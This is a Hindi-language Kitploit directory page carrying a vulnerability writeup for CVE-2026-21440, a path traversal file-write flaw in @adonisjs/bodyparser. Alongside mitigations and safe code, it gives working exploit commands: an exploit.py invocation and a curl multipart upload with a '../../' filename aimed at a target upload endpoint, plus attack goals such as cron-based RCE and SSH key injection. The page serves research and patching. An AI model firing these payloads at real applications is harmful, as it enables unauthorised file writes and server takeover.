Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षाचयनित संसाधनलैब और अभ्यास
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

poc और cve-2026-21440 के लिए writeup: @adonisjs/bodyparser में एक गंभीर path traversal भेद्यता जो मनमानी फ़ाइल लेखन की अनुमति देती है

रिपॉजिटरी देखें
378 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

cve-2026-21440

@adonisjs/bodyparser में पाथ ट्रैवर्सल से मनमाना फ़ाइल लेखन

CVE-2026-21440 CWE-22 CVSS 9.2


अवलोकन

@adonisjs/bodyparser पैकेज में एक गंभीर पाथ ट्रैवर्सल भेद्यता मौजूद है जो दूरस्थ हमलावरों को इच्छित अपलोड निर्देशिका के बाहर मनमानी फ़ाइलें लिखने की अनुमति देती है। जब multipartfile.move() फ़ंक्शन को स्पष्ट रूप से सैनिटाइज़्ड फ़ाइलनाम प्रदान किए बिना कॉल किया जाता है, तो पार्सर उचित सैनिटाइज़ेशन के बिना क्लाइंट-आपूर्ति किए गए फ़ाइलनाम का उपयोग करने के लिए डिफ़ॉल्ट होता है।

क्योंकि कार्यान्वयन path.join() का उपयोग करता है और options.overwrite डिफ़ॉल्ट रूप से true होता है, एक हमलावर निर्देशिका ट्रैवर्सल अनुक्रम (जैसे, ) वाला एक दुर्भावनापूर्ण फ़ाइलनाम तैयार कर सकता है ताकि फ़ाइलें फ़ाइल सिस्टम पर कहीं भी लिखी जा सकें, जिससे संभावित रूप से रिमोट कोड निष्पादन हो सकता है।

../../etc/cron.d/malicious

भेद्यता विश्लेषण

विशेषतामान
सीवीई आईडीcve-2026-21440
सीडब्ल्यूई वर्गीकरणcwe-22: प्रतिबंधित निर्देशिका ('पाथ ट्रैवर्सल') के लिए पाथनाम का अनुचित सीमांकन
सीवीएसएस v3.1 स्कोर9.2 (गंभीर)
हमला वेक्टरनेटवर्क
हमला जटिलताकम
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता सहभागिताकोई नहीं

मूल कारण

यह भेद्यता multipartfile.move(location, options?) विधि में मौजूद है। जब डेवलपर्स इस विधि को options.name प्रदान किए बिना कॉल करते हैं, तो कोड बिना सैनिटाइज़ेशन के this.clientName — क्लाइंट द्वारा भेजा गया मूल फ़ाइलनाम — का उपयोग करने के लिए डिफ़ॉल्ट होता है।

root@kitploit:~
// @adonisjs/bodyparser में भेद्य कोड पथ
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← असैनिटाइज़्ड क्लाइंट इनपुट
  const filePath = path.join(location, fileName)     // ← path.join ट्रैवर्सल की अनुमति देता है
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

हमला प्रवाह

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         हमलावर                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    भेद्य एडोनिसजेएस ऐप                           │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← कोई सैनिटाइज़्ड नाम प्रदान नहीं   │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   हल होता है: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई                        │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    मनमाना फ़ाइल लेखन
                         → क्रॉन के माध्यम से आरसीई
                         → कॉन्फ़िग ओवरराइट
                         → एसएसएच कुंजी इंजेक्शन

प्रभावित संस्करण

पैकेजभेद्य संस्करणपैच किया गया संस्करण
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 से 11.0.0-next.511.0.0-next.6

शोषण

पूर्वापेक्षाएँ

  • लक्षित एप्लिकेशन @adonisjs/bodyparser के भेद्य संस्करण का उपयोग करता है
  • फ़ाइल अपलोड एंडपॉइंट स्पष्ट name विकल्प के बिना file.move() को कॉल करता है
  • वेब सर्वर के पास लक्ष्य निर्देशिका में लिखने की अनुमतियाँ हैं

प्रमाण-अवधारणा

root@kitploit:~
# शोषण निर्देशिका पर नेविगेट करें
cd Exploit-PoC

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# शोषण चलाएँ
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

मैनुअल शोषण

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

पहचान और शमन

भेद्य कोड पैटर्न

root@kitploit:~
// ❌ भेद्य - क्लाइंट-आपूर्ति किए गए फ़ाइलनाम का उपयोग करता है
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName फ़ाइलनाम के रूप में उपयोग किया जाता है
  }
  return response.ok({ message: 'uploaded' })
}

सुरक्षित कोड पैटर्न

root@kitploit:~
// ✅ सुरक्षित - सैनिटाइज़्ड फ़ाइलनाम उत्पन्न करता है
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // मूल एक्सटेंशन के साथ अद्वितीय फ़ाइलनाम उत्पन्न करें
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // ओवरराइट रोकें
    })
  }
  return response.ok({ message: 'uploaded' })
}

अतिरिक्त शमन

  1. तुरंत अपग्रेड करें — @adonisjs/bodyparser को पैच किए गए संस्करण में अपडेट करें
  2. इनपुट सत्यापन — अनुमत सूची के विरुद्ध फ़ाइल एक्सटेंशन सत्यापित करें
  3. फ़ाइलनाम सैनिटाइज़ेशन — पाथ विभाजक हटाएँ और उत्पन्न नामों का उपयोग करें
  4. फ़ाइल सिस्टम अलगाव — विस्फोट त्रिज्या सीमित करने के लिए कंटेनरीकरण का उपयोग करें
  5. न्यूनतम विशेषाधिकार का सिद्धांत — वेब सर्वर को न्यूनतम अनुमतियों के साथ चलाएँ

प्रयोगशाला वातावरण

त्वरित प्रारंभ

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# भेद्य वातावरण शुरू करें
docker-compose up --build

# दूसरे टर्मिनल में, शोषण चलाएँ
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# सत्यापित करें कि फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई थी
docker-compose exec app cat /app/test.txt

समयरेखा

तिथिघटना
2026-01-0210.1.2 और 11.0.0-next.6 में पैच जारी किया गया
2026-01-02ghsa-gvq6-hvvp-h34h प्रकाशित
2026-01-02cve-2026-21440 निर्धारित
2026-01-02एनवीडी द्वारा प्रकाशित

संदर्भ

  • एनवीडी - cve-2026-21440
  • cwe-22: पाथ ट्रैवर्सल
  • एडोनिसजेएस बॉडीपार्सर दस्तावेज़ीकरण
  • ओडब्ल्यूएएसपी पाथ ट्रैवर्सल

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। प्रमाण-अवधारणा कोड का उद्देश्य सुरक्षा पेशेवरों को उन वातावरणों में इस भेद्यता को समझने और परीक्षण करने में मदद करना है जिनका आकलन करने के लिए वे अधिकृत हैं।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं। भेद्यताओं का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।


k0nnect द्वारा ☕ के साथ शोध किया गया

टूल डाउनलोड करें